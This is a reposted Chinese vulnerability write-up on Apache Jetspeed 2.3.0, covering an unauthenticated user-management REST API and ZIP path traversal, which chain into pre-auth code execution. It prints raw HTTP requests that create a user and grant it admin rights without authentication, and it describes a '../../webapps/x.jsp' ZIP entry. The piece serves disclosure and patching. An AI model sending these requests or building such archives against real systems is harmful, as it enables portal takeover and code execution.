门户应用Apache Jetspeed 2.3.0及早期版本:远程代码执行漏洞分析
来源:互联网 发布:男装高端尾货淘宝店 编辑:程序博客网 时间:2024/06/06 21:39
作为我个人“友情检测开源软件安全”的项目之一,我准备玩玩Apache Jetspeed 2(v2.30)。
Jetspeed这东西,用作者的话来讲,那就是:
“一个开放门户平台和企业信息门户,完全由基于开放标准的、在Apache许可下的Java和XML进行开源撰写。所有经过门户的行为都有严格安全的管理策略进行控制。在Jetspeed门户中,单个的组件可以通过页面聚合起来。每个组件都是单独的应用,而Jetspeed充当了中央集成分发的角色,让多种来源的信息统一起来,易于管理使用访问。”
虽然我不知道有多少人在使用Jetspeed,但它的官方主页确实列出了许多公司和组织,以及可以快速搜索更多案例的选项。并且,像这类东西很可能在内网会安装不少,所有Jetspeed似乎是有相当多的用户的。
然而在审计它的代码期间,遇到了一些严重的漏洞。这里写下的是其中两个漏洞的write-up,它们会导致“预身份验证远程代码执行”。我本不打算在这段时间发布相关内容,但是apache发布了相关公告,我估摸着官方差不多把底儿给透了。Jetspeed v2.3.1本月晚些时候将要发布,所以您如果是Jetspeed v2的的用户,请留意安装最新版。
Apache Jetspeed 用户管理 REST API未授权访问漏洞
影响版本:Jetspeed 2.3.0和未知更早的版本。
我在验证用户管理的某个SQL注入 (CVE-2016-0710)的时候发现了这个问题,它允许黑客不经过授权就进行漏洞利用。虽然这个漏洞并没有CVE,但是CVE-2016-0710的描述中很明确地提到了它的存在。
“这里也存在一个身份认证漏洞,那些Jetspeed里的URL链接不经过授权即可访问。”
这个问题可能是我发现的最严重的问题之一,因为它允许未验证身份的黑客获取门户里的所有信息。这个漏洞源自Jetspeed REST API的用户管理服务没有进行强制身份认证。所以未经认证的黑客可以添加、编辑、删除门户里的用户。同时,它也可以授予用户管理权限,重置已有用户的密码。
示例
创建用户:
POST/jetspeed/services/usermanager/users/?_type=json HTTP/1.1
Host: 192.168.2.5:8080
[…]
Content-Length: 130
Connection: close
name=foobar&password=password&password_confirm=password&user_name_given=foo&user_name_family=bar&user_email=foo%40bar.net&newrule=
这个请求会返回500错误,但用户确实创建成功了。
将foobar授予admin权限:
POST/jetspeed/services/usermanager/users/foobar/?_type=json HTTP/1.1
Host: 192.168.2.5:8080
[…]
Content-Length: 123
Connection: close
name=&password=&password_confirm=&user_name_given=&user_name_family=&user_email=&user_enabled=&roles=admin&rule=
这个请求会简单的返回“true”,权限已经加上。
ZIP文件路径穿越[CVE-2016-0709]
影响版本:Jetspeed 2.2.0 to 2.2.2,Jetspeed 2.3.0。
已经不再更新的Jetspeed 2.1.x,可能也会它被影响。
这是一个典型的文件上传/路径穿越漏洞,在门户网站管理处通过Import/Export上传普通文件时,系统会检查文件名。它们不会包含路径字符如“../”之类的,所以不会导致路径穿越。然而,这个检查机制并没有涉及ZIP包,所有我们可以上传一个包含名为“../../webapps/x.jsp”的ZIP包,这个文件就会在系统里自解压时,写入web根目录,访问Java应用服务器后会执行脚本。
下面的代码展示了对文件名检查的不周:
当门户网站管理(Portal Site Manager)在没有管理权限无法访问的时候,如先前所述,黑客利用漏洞可以不经过认证,加上一个管理用户。所以综合这两个漏洞,黑客可以实现预认证远程代码执行,演示视频如下:(需翻墙观看)
Remote Code Execution in Apache Jetspeed 2.2.0 – 2.3.0 fromAndreas on Vimeo.
视频里的exp我不会放出,防止伸手党作乱。其实这个文章发出来,对于那些有点技术的人,已经足够依样画葫芦了。
结语
这些实验结果,可能不是特别先进或者新奇,这些只是为了修复Jetspeed 2并加强它的安全。正如我在文章里所写,开源免费软件通常需要审计,审计人员和被审计方都会从中获益良多。
相关阅读
Apache Jetspeed 用户管理 REST API 未授权访问漏洞
Apache Jetspeed 目录穿越漏洞
*参考来源:haxx,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)
- 门户应用Apache Jetspeed 2.3.0及早期版本:远程代码执行漏洞分析
- Apache Solr/Lucene 0Day远程代码执行漏洞复现
- 最新IE远程代码执行漏洞分析
- Joomla远程代码执行漏洞分析
- ImageMagick远程代码执行漏洞分析
- Apache Struts2 远程代码执行漏洞(S2-045)技术分析与防护方案
- Apache Tomcat 信息泄露及远程代码执行漏洞分析与防护
- Apache shiro 1.2.4版本远程命令执行漏洞详解
- 关于Apache Struts2存在S2-045远程代码执行漏洞
- Struts2(s2-016)远程代码执行漏洞详细代码分析
- Struts2远程代码执行漏洞分析(S2-013)
- ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
- 网银安全控件远程代码执行漏洞分析
- Struts2 S2 – 032远程代码执行漏洞分析报告
- Strust2远程代码执行漏洞(S2-033)利用分析
- Strust2远程代码执行漏洞(S2-033)利用分析
- Struts2 S2 – 032远程代码执行漏洞分析报告 .
- Spring Web Flow 远程代码执行漏洞分析
- Android菜鸟入职第一天
- QT多线程程序编写-QThread
- python的第一天
- 常用拼接多个查询条件的方法01
- 第五篇 使用category action data启动特定的Activity
- 门户应用Apache Jetspeed 2.3.0及早期版本:远程代码执行漏洞分析
- JSP继续学习(完成一个最简单的用户登录界面)
- poj 1273 maxflow 模版题
- Unity2D 通过Canvas来设置屏幕适配
- 最短路 dijkstra
- 83. Remove Duplicates from Sorted List
- C++11之右值引用
- 深入理解计算机系统之链接(三)
- VC中获取字符串长度的四种类型